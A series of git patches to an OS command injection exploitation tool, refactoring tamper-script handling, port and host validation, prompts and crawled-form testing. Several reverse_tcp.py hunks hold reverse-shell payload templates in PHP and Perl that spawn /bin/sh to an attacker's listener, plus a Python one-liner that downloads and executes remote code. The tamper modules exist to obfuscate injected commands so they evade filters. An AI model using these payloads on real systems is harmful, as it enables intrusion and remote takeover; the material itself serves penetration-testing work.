sleep2timeout.tamper(payload) + payload = _apply_tamper(sleep_type, sleep2timeout, payload) # sleep to usleep if sleep_type == 'sleep2usleep': from src.core.tamper import sleep2usleep - payload = sleep2usleep.tamper(payload) + payload = _apply_tamper(sleep_type, sleep2usleep, payload) for quotes_type in list(settings.MULTI_ENCODED_PAYLOAD[::-1]): # Add double-quotes. if quotes_type == 'doublequotes': from src.core.tamper import doublequotes - payload = doublequotes.tamper(payload) + payload = _apply_tamper(quotes_type, doublequotes, payload) # Add single-quotes. if quotes_type == 'singlequotes': from src.core.tamper import singlequotes - payload = singlequotes.tamper(payload) + payload = _apply_tamper(quotes_type, singlequotes, payload) for mod_type in list(settings.MULTI_ENCODED_PAYLOAD[::-1]): # Add uninitialized variable. if mod_type == 'uninitializedvariable': from src.core.tamper import uninitializedvariable - payload = uninitializedvariable.tamper(payload) + payload = _apply_tamper(mod_type, uninitializedvariable, payload) if mod_type == 'slash2env': from src.core.tamper import slash2env - payload = slash2env.tamper(payload) + payload = _apply_tamper(mod_type, slash2env, payload) # Add backslashes. if mod_type == 'backslashes': from src.core.tamper import backslashes - payload = backslashes.tamper(payload) + payload = _apply_tamper(mod_type, backslashes, payload) # Add caret symbol. if mod_type == 'caret': from src.core.tamper import caret - payload = caret.tamper(payload) + payload = _apply_tamper(mod_type, caret, payload) # Transfomation to nested command if mod_type == 'nested': from src.core.tamper import nested - payload = nested.tamper(payload) + payload = _apply_tamper(mod_type, nested, payload) # Add dollar sign followed by an at-sign. if mod_type == 'dollaratsigns': from src.core.tamper import dollaratsigns - payload = dollaratsigns.tamper(payload) + payload = _apply_tamper(mod_type, dollaratsigns, payload) for space_mod in list(settings.MULTI_ENCODED_PAYLOAD[::-1]): # Encode spaces. if space_mod == 'space2ifs': from src.core.tamper import space2ifs - payload = space2ifs.tamper(payload) + payload = _apply_tamper(space_mod, space2ifs, payload) if space_mod == 'space2plus': from src.core.tamper import space2plus - payload = space2plus.tamper(payload) + payload = _apply_tamper(space_mod, space2plus, payload) if space_mod == 'space2htab': from src.core.tamper import space2htab - payload = space2htab.tamper(payload) + payload = _apply_tamper(space_mod, space2htab, payload) if space_mod == 'space2vtab': from src.core.tamper import space2vtab - payload = space2vtab.tamper(payload) + payload = _apply_tamper(space_mod, space2vtab, payload) if space_mod == 'multiplespaces': from src.core.tamper import multiplespaces - payload = multiplespaces.tamper(payload) + payload = _apply_tamper(space_mod, multiplespaces, payload) for encode_type in list(settings.MULTI_ENCODED_PAYLOAD[::-1]): # Encode payload to hex format. if encode_type == 'base64encode': from src.core.tamper import base64encode - payload = base64encode.tamper(payload) + payload = _apply_tamper(encode_type, base64encode, payload) # Encode payload to hex format. if encode_type == 'hexencode': from src.core.tamper import hexencode - payload = hexencode.tamper(payload) + payload = _apply_tamper(encode_type, hexencode, payload) return payload diff --git a/src/core/tamper/doublequotes.py b/src/core/tamper/doublequotes.py index 6db30e247b..06b1167dfb 100644 --- a/src/core/tamper/doublequotes.py +++ b/src/core/tamper/doublequotes.py @@ -25,9 +25,6 @@ global obf_char -if settings.TRANFROM_PAYLOAD != None: - settings.TRANFROM_PAYLOAD = None - if not settings.TAMPER_SCRIPTS[__tamper__]: obf_char = '""' settings.TAMPER_SCRIPTS[__tamper__] = True diff --git a/src/core/tamper/sleep2timeout.py b/src/core/tamper/sleep2timeout.py index 18db60fffa..0b25733667 100644 --- a/src/core/tamper/sleep2timeout.py +++ b/src/core/tamper/sleep2timeout.py @@ -41,14 +41,7 @@ def sleep_to_timeout_ping(payload): payload = payload.replace("powershell.exe" + settings.WHITESPACES[0] + "-InputFormat" + settings.WHITESPACES[0] + "none" + settings.WHITESPACES[0] + "Start-Sleep" + settings.WHITESPACES[0] + "-s", "timeout") return payload if not settings.TIME_RELATED_ATTACK: - if settings.TRANFROM_PAYLOAD == None: - settings.TRANFROM_PAYLOAD = False return payload - else: - settings.TRANFROM_PAYLOAD = True - if settings.TRANFROM_PAYLOAD: - return sleep_to_timeout_ping(payload) - - return payload + return sleep_to_timeout_ping(payload) # eof \ No newline at end of file diff --git a/src/core/tamper/sleep2usleep.py b/src/core/tamper/sleep2usleep.py index 2a24bdb137..a7b506b315 100644 --- a/src/core/tamper/sleep2usleep.py +++ b/src/core/tamper/sleep2usleep.py @@ -40,16 +40,8 @@ def sleep_to_usleep(payload): usleep_delay = match.group(0).split(settings.WHITESPACES[0])[1] payload = payload.replace(match.group(0), sleep_to_usleep + settings.WHITESPACES[0] + usleep_delay) return payload - if settings.TARGET_OS != settings.OS.WINDOWS: - if not settings.TIME_RELATED_ATTACK: - if settings.TRANFROM_PAYLOAD == None: - settings.TRANFROM_PAYLOAD = False - return payload - else: - settings.TRANFROM_PAYLOAD = True - if settings.TRANFROM_PAYLOAD: - return sleep_to_usleep(payload) - else: - return payload + if settings.TARGET_OS != settings.OS.WINDOWS and settings.TIME_RELATED_ATTACK: + return sleep_to_usleep(payload) + return payload # eof \ No newline at end of file diff --git a/src/utils/settings.py b/src/utils/settings.py index af21ec9038..57547d35a0 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -312,7 +312,7 @@ def sys_argv_errors(): DESCRIPTION_FULL = "Automated All-in-One OS Command Injection Exploitation Tool" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "4.2" -REVISION = "91" +REVISION = "92" STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: @@ -1421,9 +1421,6 @@ class END_LINE: # Options to explicitly mask in anonymous (unhandled exception) reports. SENSITIVE_OPTIONS = ["--data", "-d", "--cookie", "-p", "--url", "-u", "-x", "--auth-cred", "-r", "-l"] -# Tranform payloads (via tamper script(s)) -TRANFROM_PAYLOAD = None - CAPTCHA_DETECED = None BROWSER_VERIFICATION = None From a653cf7c53170f6151c63389bcfe3dd68e655650 Mon Sep 17 00:00:00 2001 From: stasinopoulos <an.stasinopoulos@gmail.com> Date: Sun, 23 Aug 2026 10:26:52 +0300 Subject: [PATCH 0749/1023] Improved bind/reverse TCP shell payload generation, port/host validation, and IPv6 handling --- doc/CHANGELOG.md | 1 + src/core/injections/controller/checks.py | 52 +++++++++++++------ src/core/injections/controller/handler.py | 6 ++- .../injections/controller/shell_options.py | 18 +++---- src/core/modules/shellshock/shellshock.py | 26 +++++----- src/core/shells/bind_tcp.py | 7 +-- src/core/shells/reverse_tcp.py | 34 +++++++++--- src/utils/session_handler.py | 1 - src/utils/settings.py | 2 +- 9 files changed, 94 insertions(+), 53 deletions(-) diff --git a/doc/CHANGELOG.md b/doc/CHANGELOG.md index 1ae55e576b..d5fdbab693 100755 --- a/doc/CHANGELOG.md +++ b/doc/CHANGELOG.md @@ -1,4 +1,5 @@ ## Version 4.2 (TBA) +* Fixed: Improved bind/reverse TCP shell payload generation, port/host validation, and IPv6 handling. * Fixed: Improved tamper script handling reliability, including duplicate/invalid input and error handling. * Fixed: Improved encoding handling reliability to prevent unhandled Unicode errors during scans. * Revised: Improved `--alter-shell` character extraction to bisect instead of scan linearly. diff --git a/src/core/injections/controller/checks.py b/src/core/injections/controller/checks.py index b118dbb218..7ea700ac3d 100755 --- a/src/core/injections/controller/checks.py +++ b/src/core/injections/controller/checks.py @@ -3498,6 +3498,16 @@ def set_python_interpreter(): common.invalid_option(python_interpreter) pass +""" +Every bind/reverse shell payload template hardcodes IPv4 (socket.AF_INET, no bracket syntax), so an IPv6 literal would silently generate a broken payload - reject it instead. +""" +def _is_ipv6(value): + try: + socket.inet_pton(socket.AF_INET6, value) + return True + except (OSError, socket.error): + return False + """ Hostnames are allowed, shell metacharacters are not. """ @@ -3506,6 +3516,14 @@ def _validate_host_or_path(option_name, value): err_msg = "The provided " + option_name + " value contains characters that are not allowed (only letters, digits, '.', '-', ':', '_', '/')." settings.print_data_to_stdout(settings.print_error_msg(err_msg)) return False + if value.isdigit(): + err_msg = "'" + value + "' looks like a port number, not a valid " + option_name + " host/IP - did you mean to use 'set lport'?" + settings.print_data_to_stdout(settings.print_error_msg(err_msg)) + return False + if _is_ipv6(value): + err_msg = "IPv6 addresses are not currently supported for '" + option_name + "' - use an IPv4 address or hostname." + settings.print_data_to_stdout(settings.print_error_msg(err_msg)) + return False return True """ @@ -3531,33 +3549,35 @@ def check_lhost(lhost): settings.print_data_to_stdout("LHOST => " + settings.LHOST) return True +""" +Validate a port is a plain base-10 integer within the valid TCP port range (1-65535) - float() alone would silently accept 'nan'/'inf'/negatives/decimals/out-of-range values as a usable port. +""" +def _validate_port(port): + if re.match(r'^\d+$', port) is None or not (1 <= int(port) <= 65535): + err_msg = "The provided port must be numeric and in the 1-65535 range (i.e. 1234)." + settings.print_data_to_stdout(settings.print_error_msg(err_msg)) + return False + return True + """ check / set lport option for reverse TCP connection """ def check_lport(lport): - try: - if float(lport): - settings.LPORT = lport - settings.print_data_to_stdout("LPORT => " + settings.LPORT) - return True - except ValueError: - err_msg = "The provided port must be numeric (i.e. 1234)" - settings.print_data_to_stdout(settings.print_error_msg(err_msg)) + if not _validate_port(lport): return False + settings.LPORT = lport + settings.print_data_to_stdout("LPORT => " + settings.LPORT) + return True """ check / set srvport option for reverse TCP connection """ def check_srvport(srvport): - try: - if float(srvport): - settings.SRVPORT = srvport - settings.print_data_to_stdout("SRVPORT => " + settings.SRVPORT) - return True - except ValueError: - err_msg = "The provided port must be numeric (i.e. 1234)" - settings.print_data_to_stdout(settings.print_error_msg(err_msg)) + if not _validate_port(srvport): return False + settings.SRVPORT = srvport + settings.print_data_to_stdout("SRVPORT => " + settings.SRVPORT) + return True """ check / set uripath option for reverse TCP connection diff --git a/src/core/injections/controller/handler.py b/src/core/injections/controller/handler.py index 86317f3aed..5d2b4dadaf 100755 --- a/src/core/injections/controller/handler.py +++ b/src/core/injections/controller/handler.py @@ -93,9 +93,11 @@ def pseudo_terminal_shell(injector, separator, maxlen, TAG, cmd, prefix, suffix, while True: if not settings.READLINE_ERROR: checks.tab_autocompleter() - settings.print_data_to_stdout(settings.END_LINE.CR + settings.OS_SHELL) try: - cmd = common.read_input(message="", default="os_shell", check_batch=True) + # Let safe_input() print the prompt so readline can redraw it correctly. + cmd = common.safe_input(settings.OS_SHELL) + if len(cmd) == 0: + cmd = "os_shell" cmd = checks.escaped_cmd(cmd) if cmd.lower() in settings.SHELL_OPTIONS: if cmd.lower() == "quit" or cmd.lower() == "exit": diff --git a/src/core/injections/controller/shell_options.py b/src/core/injections/controller/shell_options.py index c3a98e46f6..91caecd069 100755 --- a/src/core/injections/controller/shell_options.py +++ b/src/core/injections/controller/shell_options.py @@ -71,11 +71,10 @@ def bind_tcp_config(separator, TAG, cmd, prefix, suffix, whitespace, http_reques return go_back, go_back_again while True: - if settings.RHOST and settings.LPORT in settings.SHELL_OPTIONS: - result = checks.check_bind_tcp_options(settings.RHOST) - else: - cmd = bind_tcp.bind_tcp_options(separator) - result = checks.check_bind_tcp_options(cmd) + # LPORT is always a validated numeric string (see check_lport()), so it can + # never equal a SHELL_OPTIONS keyword - always prompt for the shell type. + cmd = bind_tcp.bind_tcp_options(separator) + result = checks.check_bind_tcp_options(cmd) if result != None: if result == 0: go_back_again = False @@ -104,11 +103,10 @@ def reverse_tcp_config(separator, TAG, cmd, prefix, suffix, whitespace, http_req return go_back, go_back_again while True: - if settings.LHOST and settings.LPORT in settings.SHELL_OPTIONS: - result = checks.check_reverse_tcp_options(settings.LHOST) - else: - cmd = reverse_tcp.reverse_tcp_options(separator) - result = checks.check_reverse_tcp_options(cmd) + # LPORT is always a validated numeric string (see check_lport()), so it can + # never equal a SHELL_OPTIONS keyword - always prompt for the shell type. + cmd = reverse_tcp.reverse_tcp_options(separator) + result = checks.check_reverse_tcp_options(cmd) if result != None: if result == 0: go_back_again = False diff --git a/src/core/modules/shellshock/shellshock.py b/src/core/modules/shellshock/shellshock.py index edf7805f7b..a6e651dbd0 100755 --- a/src/core/modules/shellshock/shellshock.py +++ b/src/core/modules/shellshock/shellshock.py @@ -190,11 +190,10 @@ def bind_tcp_config(url, cmd, cve, check_header, filename, os_shell_option, http reverse_tcp_config(url, cmd, cve, check_header, filename, os_shell_option, http_request_method, go_back, go_back_again) return go_back, go_back_again while True: - if settings.RHOST and settings.LPORT in settings.SHELL_OPTIONS: - result = checks.check_bind_tcp_options(settings.RHOST) - else: - cmd = bind_tcp.bind_tcp_options(separator = "") - result = checks.check_bind_tcp_options(cmd) + # LPORT is always a validated numeric string (see check_lport()), so it can + # never equal a SHELL_OPTIONS keyword - always prompt for the shell type. + cmd = bind_tcp.bind_tcp_options(separator = "") + result = checks.check_bind_tcp_options(cmd) if result != None: if result == 0: return False @@ -218,11 +217,10 @@ def reverse_tcp_config(url, cmd, cve, check_header, filename, os_shell_option, h bind_tcp_config(url, cmd, cve, check_header, filename, os_shell_option, http_request_method, go_back, go_back_again) return go_back, go_back_again while True: - if settings.LHOST and settings.LPORT in settings.SHELL_OPTIONS: - result = checks.check_reverse_tcp_options(settings.LHOST) - else: - cmd = reverse_tcp.reverse_tcp_options(separator = "") - result = checks.check_reverse_tcp_options(cmd) + # LPORT is always a validated numeric string (see check_lport()), so it can + # never equal a SHELL_OPTIONS keyword - always prompt for the shell type. + cmd = reverse_tcp.reverse_tcp_options(separator = "") + result = checks.check_reverse_tcp_options(cmd) if result != None: if result == 0: return False @@ -418,8 +416,12 @@ def shellshock_handler(url, http_request_method, filename): while True: if not settings.READLINE_ERROR: checks.tab_autocompleter() - settings.print_data_to_stdout(settings.END_LINE.CR +settings.OS_SHELL) - cmd = common.read_input(message="", default="os_shell", check_batch=True) + # Prompt passed straight to input() (via safe_input()) so readline owns + # it and redraws it correctly on tab/history, instead of pre-printing it + # separately and leaving the "line still open" bookkeeping out of sync. + cmd = common.safe_input(settings.OS_SHELL) + if len(cmd) == 0: + cmd = "os_shell" cmd = checks.escaped_cmd(cmd) if cmd.lower() in settings.SHELL_OPTIONS: os_shell_option = checks.check_os_shell_options(cmd.lower(), technique, go_back, no_result) diff --git a/src/core/shells/bind_tcp.py b/src/core/shells/bind_tcp.py index 868948e0ce..925a4ca44b 100755 --- a/src/core/shells/bind_tcp.py +++ b/src/core/shells/bind_tcp.py @@ -539,9 +539,8 @@ def bind_tcp_options(separator): def configure_bind_tcp(separator): # Set up rhost for the bind TCP connection. while True: - settings.print_data_to_stdout(settings.END_LINE.CR + settings.BIND_TCP_SHELL) - - option = _input() + # Pass the prompt to input() so readline handles redraws and line state correctly. + option = common.safe_input(settings.BIND_TCP_SHELL) if option.lower() == "bind_tcp": warn_msg = "You are in the '" + option.lower() + "' mode." @@ -605,11 +604,13 @@ def configure_bind_tcp(separator): # Invalid set option. else: common.invalid_option(option) + settings.print_data_to_stdout("Use 'set rhost <ip>' and 'set lport <port>' to configure the bind TCP connection.") pass # Invalid option. else: common.invalid_option(option) + settings.print_data_to_stdout("Use 'set rhost <ip>' and 'set lport <port>' to configure the bind TCP connection.") pass # eof \ No newline at end of file diff --git a/src/core/shells/reverse_tcp.py b/src/core/shells/reverse_tcp.py index 7ff5733d1c..6dece4873a 100755 --- a/src/core/shells/reverse_tcp.py +++ b/src/core/shells/reverse_tcp.py @@ -147,6 +147,21 @@ def netcat_version(separator): return cmd +""" +Use %XX only where the target performs one URL-decode pass; use literals for header-based injection points. +""" +def _needs_literal_encoding(): + return ( + settings.COOKIE_INJECTION + or settings.USER_AGENT_INJECTION + or settings.REFERER_INJECTION + or settings.HOST_INJECTION + or settings.CUSTOM_HEADER_INJECTION + ) + +def _lit(encoded, literal): + return literal if _needs_literal_encoding() else encoded + """ Set up other [1] reverse tcp shell connections [1] http://pentestmonkey.net/cheat-sheet/shells/reverse-shell-cheat-sheet @@ -230,7 +245,7 @@ def other_reverse_shells(separator): + "\"," + settings.LPORT + ");" - "$proc=proc_open(\"/bin/sh -i\",array(0%3d>$sock,1%3d>$sock,2%3d>$sock),$pipes);'" + "$proc=proc_open(\"/bin/sh -i\",array(0" + _lit("%3d", "=") + ">$sock,1" + _lit("%3d", "=") + ">$sock,2" + _lit("%3d", "=") + ">$sock),$pipes);'" ) break @@ -246,9 +261,9 @@ def other_reverse_shells(separator): + ";" "socket(S,PF_INET,SOCK_STREAM,getprotobyname(\"tcp\"));" "if(connect(S,sockaddr_in($p,inet_aton($i)))){" - "open(STDIN,\">%26S\");" - "open(STDOUT,\">%26S\");" - "open(STDERR,\">%26S\");" + "open(STDIN,\">" + _lit("%26", "&") + "S\");" + "open(STDOUT,\">" + _lit("%26", "&") + "S\");" + "open(STDERR,\">" + _lit("%26", "&") + "S\");" "exec(\"/bin/sh -i\");};'" ) break @@ -317,7 +332,7 @@ def other_reverse_shells(separator): + settings.LHOST + "/" + settings.LPORT - + " 1>%260 2>%260\" > /tmp/" + + " 1>" + _lit("%26", "&") + "0 2>" + _lit("%26", "&") + "0\" > /tmp/" + tmp_file + settings.SINGLE_WHITESPACE + separator @@ -652,6 +667,8 @@ def other_reverse_shells(separator): if web_delivery == '1': data = "import sys%3bimport ssl%3bu%3d__import__('urllib'%2b{2%3a'',3%3a'.request'}[sys.version_info[0]],fromlist%3d('urlopen',))%3br%3du.urlopen('http://" + str(settings.LHOST) + ":" + str(settings.SRVPORT) + settings.URIPATH + "',context%3dssl._create_unverified_context())%3bexec(r.read())%3b" + if _needs_literal_encoding(): + data = data.replace("%3b", ";").replace("%3d", "=").replace("%2b", "+").replace("%3a", ":") if settings.TARGET_OS == settings.OS.WINDOWS: if not settings.USER_DEFINED_PYTHON_DIR: checks.set_python_working_dir() @@ -781,9 +798,8 @@ def reverse_tcp_options(separator): def configure_reverse_tcp(separator): # Set up LHOST for the reverse TCP connection. while True: - settings.print_data_to_stdout(settings.END_LINE.CR + settings.REVERSE_TCP_SHELL) - - option = _input() + # Pass the prompt to input() so readline handles redraws and line state correctly. + option = common.safe_input(settings.REVERSE_TCP_SHELL) if option.lower() == "reverse_tcp": warn_msg = "You are in the '" + option.lower() + "' mode." @@ -855,11 +871,13 @@ def configure_reverse_tcp(separator): # Invalid set option. else: common.invalid_option(option) + settings.print_data_to_stdout("Use 'set lhost <ip>' and 'set lport <port>' to configure the reverse TCP connection.") pass # Invalid option. else: common.invalid_option(option) + settings.print_data_to_stdout("Use 'set lhost <ip>' and 'set lport <port>' to configure the reverse TCP connection.") pass # eof \ No newline at end of file diff --git a/src/utils/session_handler.py b/src/utils/session_handler.py index e562205be7..d079441134 100755 --- a/src/utils/session_handler.py +++ b/src/utils/session_handler.py @@ -375,7 +375,6 @@ def check_stored_injection_points(url, check_parameter, http_request_method): if len(menu.options.tech) == 0 or technique in menu.options.tech: found = True - # Prefer more specific vulnerable parameter (e.g., HTTP header), if available vuln_parameter = vuln_param or http_header session_url = session[1] diff --git a/src/utils/settings.py b/src/utils/settings.py index 57547d35a0..2c40a2e678 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -312,7 +312,7 @@ def sys_argv_errors(): DESCRIPTION_FULL = "Automated All-in-One OS Command Injection Exploitation Tool" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "4.2" -REVISION = "92" +REVISION = "93" STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: From 04b8ebcf5a90806fdb633aad7c3930f102339c1f Mon Sep 17 00:00:00 2001 From: stasinopoulos <an.stasinopoulos@gmail.com> Date: Sun, 23 Aug 2026 10:27:18 +0300 Subject: [PATCH 0750/1023] Improved crawled form handling, including interactive review before testing and correct parameter-type labeling --- doc/CHANGELOG.md | 1 + src/core/injections/controller/checks.py | 2 +- src/core/main.py | 27 +++++++++++++++++++++++- src/utils/crawler.py | 23 +++++++++++++++++--- src/utils/settings.py | 7 ++++-- 5 files changed, 53 insertions(+), 7 deletions(-) diff --git a/doc/CHANGELOG.md b/doc/CHANGELOG.md index d5fdbab693..c0faff3cd7 100755 --- a/doc/CHANGELOG.md +++ b/doc/CHANGELOG.md @@ -1,4 +1,5 @@ ## Version 4.2 (TBA) +* Revised: Improved crawled form handling, including interactive review before testing and correct parameter-type labeling. * Fixed: Improved bind/reverse TCP shell payload generation, port/host validation, and IPv6 handling. * Fixed: Improved tamper script handling reliability, including duplicate/invalid input and error handling. * Fixed: Improved encoding handling reliability to prevent unhandled Unicode errors during scans. diff --git a/src/core/injections/controller/checks.py b/src/core/injections/controller/checks.py index 7ea700ac3d..3ab21b70b0 100755 --- a/src/core/injections/controller/checks.py +++ b/src/core/injections/controller/checks.py @@ -380,7 +380,7 @@ def alert(): Check for HTTP Method """ def check_http_method(url): - if settings.CRAWLING: + if settings.CRAWLING and not settings.USER_DEFINED_POST_DATA: http_request_method = settings.HTTPMETHOD.GET elif menu.options.method: http_request_method = menu.options.method.upper() diff --git a/src/core/main.py b/src/core/main.py index cd517cfb50..5508cfc93e 100644 --- a/src/core/main.py +++ b/src/core/main.py @@ -1138,7 +1138,7 @@ def _time_limit_reached(signum, frame): perform_check = True while True: settings.print_data_to_stdout(settings.print_message("[" + str(form_num) + "/" + str(len(clean_output_forms)) + "] FORM - POST " + form_url + " - " + form_data)) - message = "Do you want to use form #" + str(form_num) + " for testing? [Y/n] " + message = "Do you want to use form #" + str(form_num) + " for testing? [Y/n/q] " next_form = common.read_input(message, default="Y", check_batch=True) if next_form in settings.CHOICE_YES: info_msg = "Testing form '" + form_url + "'." @@ -1153,6 +1153,31 @@ def _time_limit_reached(signum, frame): common.invalid_option(next_form) pass if perform_check: + has_blank_fields = re.search(settings.EMPTY_FORM_FIELDS_REGEX, form_data) is not None + edit_msg = "Edit POST data [default: " + form_data + "]" + if has_blank_fields: + edit_msg += " (Warning: blank fields detected)" + edit_msg += ": " + form_data = common.read_input(edit_msg, default=form_data, check_batch=True) + if re.search(settings.EMPTY_FORM_FIELDS_REGEX, form_data): + fill_msg = "Do you want to fill blank fields with random values? [Y/n] " + if common.read_input(fill_msg, default="Y", check_batch=True) in settings.CHOICE_YES: + form_data = crawler.random_fill_blank_fields(form_data) + if menu.options.threads <= 1: + threads_msg = "Please enter number of threads? [Enter for " + str(menu.options.threads) + " (current)] " + threads_answer = common.read_input(threads_msg, default=str(menu.options.threads), check_batch=True) + try: + threads_value = int(threads_answer) + if threads_value > 1: + menu.options.threads = threads_value + settings.THREADS = min(threads_value, settings.MAX_THREADS) + if threads_value > settings.MAX_THREADS: + warn_msg = "Setting '--threads' to the maximum of " + str(settings.MAX_THREADS) + " concurrent HTTP requests." + settings.print_data_to_stdout(settings.print_warning_msg(warn_msg)) + elif threads_value < 1: + common.invalid_option(threads_answer) + except ValueError: + common.invalid_option(threads_answer) if os_checks_num == 0: settings.INIT_TEST = True # Reset the injection level diff --git a/src/utils/crawler.py b/src/utils/crawler.py index feff4268b1..0fdc5680b4 100644 --- a/src/utils/crawler.py +++ b/src/utils/crawler.py @@ -14,7 +14,9 @@ """ import re import sys +import random import socket +import string import tempfile from src.utils import menu from src.utils import settings @@ -186,7 +188,7 @@ def store_hrefs(href, identified_hrefs, redirection): """ -Extract form fields as (name, value) pairs, using defaults for empty values. +Extract form fields as (name, value) pairs, preserving blank values for the caller to fill. """ def extract_form_params(form): params = [] @@ -208,9 +210,22 @@ def extract_form_params(form): value = field.text or "" else: value = field.get("value") or "" - params.append((name, value or settings.CRAWL_FORM_DEFAULT_VALUE)) + params.append((name, value)) return params +""" +Fill blank fields with a random int for id-like names or a random string otherwise. +""" +def random_fill_blank_fields(data): + def replacement(match): + item = match.group("result") + field_name = item[:-1] + new_value = str(random.randint(1, 9999)) if re.search(r"(?i)id", field_name) else \ + ''.join(random.choice(string.ascii_lowercase + string.digits) for _ in range(6)) + # group(1) is the leading '&' (or '' for the start-of-string case) - keep it, only the value is new. + return match.group(1) + item + new_value + return re.sub(settings.EMPTY_FORM_FIELDS_REGEX, replacement, data) + """ Store an identified (valid) POST form as an (action URL, POST data) pair. @@ -322,10 +337,12 @@ def do_process(url, http_request_method): if not params: continue method = (form.get("method") or settings.HTTPMETHOD.GET).upper() - data = "&".join(_urllib.parse.quote(str(k), safe="") + "=" + _urllib.parse.quote(str(v), safe="") for k, v in params) if method == settings.HTTPMETHOD.POST: + # Keep blank fields empty; main.py decides whether to fill them with a default or random value. + data = "&".join(_urllib.parse.quote(str(k), safe="") + "=" + _urllib.parse.quote(str(v), safe="") for k, v in params) store_forms(action_url, data) else: + data = "&".join(_urllib.parse.quote(str(k), safe="") + "=" + _urllib.parse.quote(str(v) or settings.CRAWL_FORM_DEFAULT_VALUE, safe="") for k, v in params) href = action_url + ("&" if "?" in action_url else "?") + data identified_hrefs = store_hrefs(href, identified_hrefs, redirection=False) no_usable_links(crawled_hrefs) diff --git a/src/utils/settings.py b/src/utils/settings.py index 2c40a2e678..b3c8e7732b 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -312,7 +312,7 @@ def sys_argv_errors(): DESCRIPTION_FULL = "Automated All-in-One OS Command Injection Exploitation Tool" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "4.2" -REVISION = "93" +REVISION = "94" STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: @@ -1529,9 +1529,12 @@ class END_LINE: # Default crawling depth DEFAULT_CRAWLING_DEPTH = 1 -# Default value used for a crawled form field that has no pre-filled value. +# Default value used for a crawled GET form field that has no pre-filled value. CRAWL_FORM_DEFAULT_VALUE = "1" +# Matches a "key=" pair with an empty value in a query/POST-data string, bounded by '&' or start/end. +EMPTY_FORM_FIELDS_REGEX = r'(&|\A)(?P<result>[^=&]+=)(?=&|\Z)' + SITEMAP_CHECK = None SITEMAP_XML_FILE = "sitemap.xml" From a805d77676099f7c53dbe420ffcd384f6d2d6afb Mon Sep 17 00:00:00 2001 From: stasinopoulos <an.stasinopoulos@gmail.com> Date: Sun, 23 Aug 2026 10:42:10 +0300 Subject: [PATCH 0751/1023] Improved tamper script reliability, deterministic execution order, and encoding/whitespace handling for more accurate detection --- doc/CHANGELOG.md | 1 + src/core/injections/controller/checks.py | 254 +++++++++---------- src/core/injections/controller/controller.py | 4 +- src/core/injections/controller/handler.py | 8 +- src/core/main.py | 2 + src/core/requests/headers.py | 8 +- src/core/requests/requests.py | 7 +- src/core/tamper/backslashes.py | 12 +- src/core/tamper/backticks.py | 5 + src/core/tamper/base64encode.py | 17 +- src/core/tamper/caret.py | 15 +- src/core/tamper/dollaratsigns.py | 11 +- src/core/tamper/doublequotes.py | 11 +- src/core/tamper/hexencode.py | 19 +- src/core/tamper/multiplespaces.py | 6 +- src/core/tamper/nested.py | 7 +- src/core/tamper/printf2echo.py | 5 + src/core/tamper/randomcase.py | 10 +- src/core/tamper/rev.py | 10 +- src/core/tamper/singlequotes.py | 13 +- src/core/tamper/slash2env.py | 7 +- src/core/tamper/sleep2timeout.py | 6 +- src/core/tamper/sleep2usleep.py | 6 +- src/core/tamper/space2htab.py | 1 + src/core/tamper/space2ifs.py | 5 + src/core/tamper/space2plus.py | 12 +- src/core/tamper/space2vtab.py | 5 + src/core/tamper/uninitializedvariable.py | 14 +- src/core/tamper/xforwardedfor.py | 3 +- src/utils/settings.py | 73 +++--- 30 files changed, 274 insertions(+), 283 deletions(-) diff --git a/doc/CHANGELOG.md b/doc/CHANGELOG.md index c0faff3cd7..e7060897bc 100755 --- a/doc/CHANGELOG.md +++ b/doc/CHANGELOG.md @@ -1,4 +1,5 @@ ## Version 4.2 (TBA) +* Revised: Improved tamper script reliability, deterministic execution order, and encoding/whitespace handling for more accurate detection. * Revised: Improved crawled form handling, including interactive review before testing and correct parameter-type labeling. * Fixed: Improved bind/reverse TCP shell payload generation, port/host validation, and IPv6 handling. * Fixed: Improved tamper script handling reliability, including duplicate/invalid input and error handling. diff --git a/src/core/injections/controller/checks.py b/src/core/injections/controller/checks.py index 3ab21b70b0..9743b6d958 100755 --- a/src/core/injections/controller/checks.py +++ b/src/core/injections/controller/checks.py @@ -23,6 +23,7 @@ import random import string import base64 +import importlib import gzip import zlib import traceback @@ -1779,6 +1780,52 @@ def list_tamper_scripts(): settings.print_data_to_stdout(message.rstrip()) +""" +Shared building blocks for tamper scripts' own dependencies() checks - each script decides which +of these apply to it, instead of a central list here trying to track every script's constraints. +""" +def tamper_dep_windows_only(tamper_name): + if settings.TARGET_OS != settings.OS.WINDOWS: + return "Unix-like targets do not support the usage of '" + tamper_name + ".py'. Skipping tamper script." + +def tamper_dep_unix_only(tamper_name): + if settings.TARGET_OS == settings.OS.WINDOWS: + return "Windows targets do not support the usage of '" + tamper_name + ".py'. Skipping tamper script." + +def tamper_dep_eval_incompatible(tamper_name): + eval_in_scope = len(menu.options.tech) == 0 or "e" in menu.options.tech + if eval_in_scope and settings.EVAL_BASED_STATE != False: + return "The dynamic code evaluation technique does not support the usage of '" + tamper_name + ".py'. Skipping tamper script." + +def tamper_dep_time_related_only(tamper_name): + time_related_in_scope = len(menu.options.tech) == 0 or "t" in menu.options.tech or "f" in menu.options.tech + if not time_related_in_scope: + return "Only time-related techniques support the usage of '" + tamper_name + ".py'." + +def tamper_dep_alter_shell_incompatible(tamper_name): + if menu.options.alter_shell: + return "Option '--alter-shell' does not support the usage of '" + tamper_name + ".py'. Skipping tamper script." + +""" +Undo a per-character obfuscation (obf_char inserted before each letter) on any whole word that settings.IGNORE_TAMPER_TRANSFORMATION says must survive intact (e.g. shell keywords like 'if'/'then'). +""" +def tamper_restore_ignored_words(payload, obf_char): + for word in settings.IGNORE_TAMPER_TRANSFORMATION: + obf_word = obf_char.join(word[i:i+1] for i in range(-1, len(word), 1)) + if obf_word in payload: + payload = payload.replace(obf_word, word) + return payload + +""" +base64encode/hexencode consume the whole payload as one blob, so they can't coexist with +space2plus rewriting whitespace inside it first - fatal (not a skippable warning like the rest). +""" +def tamper_check_space2plus_conflict(tamper_name): + if len(settings.WHITESPACES) != 0 and settings.WHITESPACES[0] == 